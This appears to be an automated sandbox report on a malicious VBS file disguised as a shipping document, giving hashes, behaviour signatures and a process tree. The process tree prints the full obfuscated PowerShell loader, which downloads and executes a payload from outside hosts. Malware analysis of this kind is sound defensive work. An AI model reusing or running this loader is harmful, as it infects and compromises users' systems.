0e8b0b60f15a760e73f912ca962fe62d49dab8314aca1d1e3d2d9a62cf8f2602

Analysis

max time kernel
150s
max time network
150s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 11:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Awb_Shipping_doc_pdf_00900720242247820020091808174CN18009007000000924.vbs
Size

102KB
MD5

7830b84566e2614c62d98026bff38786
SHA1

bf275fe87ba08ef95283293728ddcedd8a5a38b2
SHA256

e1bcd4fae5185f9d9e377759ed4500755c065a9db7f55f0589ba10b1ea9d330b
SHA512

dd95218ce35833e06bfe51136642975761c649d16f53bd1d55f3371866b61b57e41d3a4986379581f7b6ce4ff36db2e66139d1845e48a6f323d8def13d031bbb
SSDEEP

3072:+4oGKaBSPReHzR0WAjT28fyxa+CS64B9Ou4rIQCtvF:/t7SPReHd0WoT28faa+CS64mu8IQCtvF

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 63 IoCs

flow	pid	Process
3	2328	WScript.exe
7	2688	powershell.exe
8	2688	powershell.exe
9	2688	powershell.exe
10	2688	powershell.exe
12	2688	powershell.exe
13	2688	powershell.exe
15	2688	powershell.exe
16	2688	powershell.exe
17	2688	powershell.exe
18	2688	powershell.exe
19	2688	powershell.exe
20	2688	powershell.exe
21	2688	powershell.exe
22	2688	powershell.exe
23	2688	powershell.exe
24	2688	powershell.exe
25	2688	powershell.exe
26	2688	powershell.exe
27	2688	powershell.exe
28	2688	powershell.exe
29	2688	powershell.exe
30	2688	powershell.exe
31	2688	powershell.exe
32	2688	powershell.exe
33	2688	powershell.exe
34	2688	powershell.exe
35	2688	powershell.exe
36	2688	powershell.exe
37	2688	powershell.exe
38	2688	powershell.exe
39	2688	powershell.exe
40	2688	powershell.exe
41	2688	powershell.exe
42	2688	powershell.exe
43	2688	powershell.exe
44	2688	powershell.exe
45	2688	powershell.exe
46	2688	powershell.exe
47	2688	powershell.exe
48	2688	powershell.exe
49	2688	powershell.exe
50	2688	powershell.exe
51	2688	powershell.exe
52	2688	powershell.exe
53	2688	powershell.exe
54	2688	powershell.exe
55	2688	powershell.exe
56	2688	powershell.exe
57	2688	powershell.exe
58	2688	powershell.exe
59	2688	powershell.exe
60	2688	powershell.exe
61	2688	powershell.exe
62	2688	powershell.exe
63	2688	powershell.exe
64	2688	powershell.exe
65	2688	powershell.exe
66	2688	powershell.exe
67	2688	powershell.exe
68	2688	powershell.exe
69	2688	powershell.exe
70	2688	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2688	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2688	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2328 wrote to memory of 2688	2328	WScript.exe	32
PID 2328 wrote to memory of 2688	2328	WScript.exe	32
PID 2328 wrote to memory of 2688	2328	WScript.exe	32
PID 2688 wrote to memory of 2576	2688	powershell.exe	34
PID 2688 wrote to memory of 2576	2688	powershell.exe	34
PID 2688 wrote to memory of 2576	2688	powershell.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Awb_Shipping_doc_pdf_00900720242247820020091808174CN18009007000000924.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Zymology Desmogen Fdselsaaret Skaf Regularising Fjeldmarkers Oktavias Skalaernes pronely Indefatigableness Axes Spejlreflekskameras Byfornyelsen Materielforvalter Aleuron Hjesteretsdommer63 Solbatteriers Anarkismen winona Pinder Beneficieredes Eleutherios Overfrsler Thunked Zymology Desmogen Fdselsaaret Skaf Regularising Fjeldmarkers Oktavias Skalaernes pronely Indefatigableness Axes Spejlreflekskameras Byfornyelsen Materielforvalter Aleuron Hjesteretsdommer63 Solbatteriers Anarkismen winona Pinder Beneficieredes Eleutherios Overfrsler Thunked';If (${host}.CurrentCulture) {$Hvidsm++;}Function Forsideartiklen($Sportslige){$Tistykpakkens21=$Sportslige.Length-$Hvidsm;$Emerituses='SUBsTR';$Emerituses+='ing';For( $Hyperuricemia=1;$Hyperuricemia -lt $Tistykpakkens21;$Hyperuricemia+=2){$Zymology+=$Sportslige.$Emerituses.Invoke( $Hyperuricemia, $Hvidsm);}$Zymology;}function Hermeneutically7($Microsomial){ . ($Leegatioen) ($Microsomial);}$fastprisordningernes=Forsideartiklen ' Mso,zeiBlPl aA/ 5A.,0M .(MWTiAnVdAoSwPsI RN TS L1U0 . 0 ; TW iDnB6 4 ;R .x.6V4.; Ar vS:S1 2U1 . 0 )U GHe c.kto./N2B0L1.0.0 1F0,1S NF,i r ePfCoFx,/.1 2 1P.C0Z ';$brdbilles=Forsideartiklen ' U sEeurP- ATgBeAn t. ';$Regularising=Forsideartiklen 'Ch,t t.pBsC:I/ /.n bB.Gf.u,hSnM8R. sPa . c o mS/ .tl l /BH v,a,l,p e sF.Tj.p b,> h tUt pCsN:P/./ fRiAr s.t 4Fl occSkLsGm iSt,h,s . c oM.Ku kd/SH,v,aFlCp,eUsT. j p,b >FhBtrt p sD:K/M/ m oCv i eUsFmBaSc kStSa l km. c.oPm,/.HCv.aLlRp eFsF.BjSp,bs ';$Repracticing=Forsideartiklen 'T>. ';$Leegatioen=Forsideartiklen 'Si e,x. ';$Ecca='Skalaernes';$calvados = Forsideartiklen ' eDc h o %iaEpFpFd a t.a.%C\IPRr iImSaHdPoTnPnWaBe r.n,e s..FTSr,i, t& &I e c h o t ';Hermeneutically7 (Forsideartiklen 'H$mgSlFoVbSa la:UI nEdDeBkLsFfDehjNlGe nSe =R( cSmDdG ./.cF $RcRaKlHvuaFdHoBs )T ');Hermeneutically7 (Forsideartiklen ',$ g.lUoKb,aSl.: SFkHa fP=.$.R e.g u lBaSrCiBsLi n gh.MsKp l i.t (K$GRhe p.r aKcEtSiTcPiDnDgB), ');Hermeneutically7 (Forsideartiklen ' [AN est ..S eTr vSiScTe P o iSn tSMiaPn.aEgHeBrb] :M: SAeec,uMr iKt.y PBrsoPtBosc,o,lK R=x .[,NAe,t .US ePcSu r iStUyTP,r oStto c oKl TdyPpRea]R: :.T l sF1M2. ');$Regularising=$Skaf[0];$Tinderbox= (Forsideartiklen 'A$.gNlIo bEaBl : N,eAg l iWgjeLe sD=.NUe w -SOGb jReMc,t S.y s t,e mT.LN,e.t,.UW eNb,CAl.i eMnCt');$Tinderbox+=$Indeksfejlene[1];Hermeneutically7 ($Tinderbox);Hermeneutically7 (Forsideartiklen 'L$FN e.g,lSi g e.e sQ. H.e a,d e,rBs.[u$,b,red bCiBl.l e s ] =U$ f aFs t p r.ius oNr dSn i nCg e r nPePsF ');$Ozokerit=Forsideartiklen ' $,Nbe,gTlJi g epeSs,. D.oMwKnFlNo,a dDF i l,eA(E$MRPe gPu lCa r,i sWiGn.g ,,$.E,lFe.uHtDh ePr i o.sB) ';$Eleutherios=$Indeksfejlene[0];Hermeneutically7 (Forsideartiklen '.$PgUl oSb aMlT: FOiBm.r e,c e l.l e,s 1 7 4D= (BT,eVsGtM-.PIaHt hB .$ ESl eSu t,hTeGrIi o sS)S ');while (!$Fimrecelles174) {Hermeneutically7 (Forsideartiklen 'D$Bg lLoAb aFlT: FNo r u dSs iRg.eOlSs e n s =P$Lt r u e. ') ;Hermeneutically7 $Ozokerit;Hermeneutically7 (Forsideartiklen 'OS.t,a rut -RSRl.eUe p C4 ');Hermeneutically7 (Forsideartiklen '.$IgNl o bDaPl : FUiFmEr eMc,eVl l eas,1b7P4E=R(OTSe.s tT-.PTa,tFhL S$KE.l e u.t,h e rkiToMs ) ') ;Hermeneutically7 (Forsideartiklen 'A$ gOlAo.b.a.lE:RFTdAsFeUl sBa a.r e,t,= $.g lToObPa lA: DSe.sMmMoSghe n +F+,%S$.SSk,aAfP.RcBoFuBnBtF ') ;$Regularising=$Skaf[$Fdselsaaret];}$Chronographs233=374185;$Somewhats13=25127;Hermeneutically7 (Forsideartiklen 'E$ g.l o bGa l :,pSr o n eMl.y K=C .GKe,tH-SCFo nPtTe nSt D$DESlVe.uVtVhPeNrNi o s ');Hermeneutically7 (Forsideartiklen 'E$SgEl oEb a,l :PR e.t sFgVrHu,nLd s tRn.iUnTg eGn.sK .=W [,S.yRs tSe mA..CNo n vLe r.t,] :D:GF r o,m,B.aasse 6,4 S.tDrCiBnNgP(T$Vp rVo nLe lsy )E ');Hermeneutically7 (Forsideartiklen ',$ gnl,o bia l : STpSeBj l r e fGl eSkds.k aSmFe r a s. .=. K[BS y.s t.e mA.LT eFxKtT..E.nOc ogd.i,nCgF],:,:MA SBC.IFI .BGEeNtSS t r iHn g.(.$RRSe,t s.g r uInkdGsWtRn i n gAePnVs )N ');Hermeneutically7 (Forsideartiklen 'B$ gOlDoAb a lD: CUrVo,o k e,r iFe,s =B$RS.p eSjPlBr e.fHl eKk,s k aLmme r aSsA. s uSb sTt.rSi n,gR( $ CRhFr,oMn oBg.rKaOpBhOs 2 3A3S,C$ SDo m.eMw hFaCttsU1.3F)s ');Hermeneutically7 $Crookeries;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Primadonnaernes.Tri && echo t"
    3⤵
    PID:2576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\CabF411.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
memory/2688-20-0x000007FEF5E0E000-0x000007FEF5E0F000-memory.dmp

Filesize
4KB

Download
memory/2688-21-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2688-22-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2688-23-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2688-24-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2688-26-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2688-25-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2688-27-0x000007FEF5E0E000-0x000007FEF5E0F000-memory.dmp

Filesize
4KB

Download
memory/2688-28-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2688-29-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download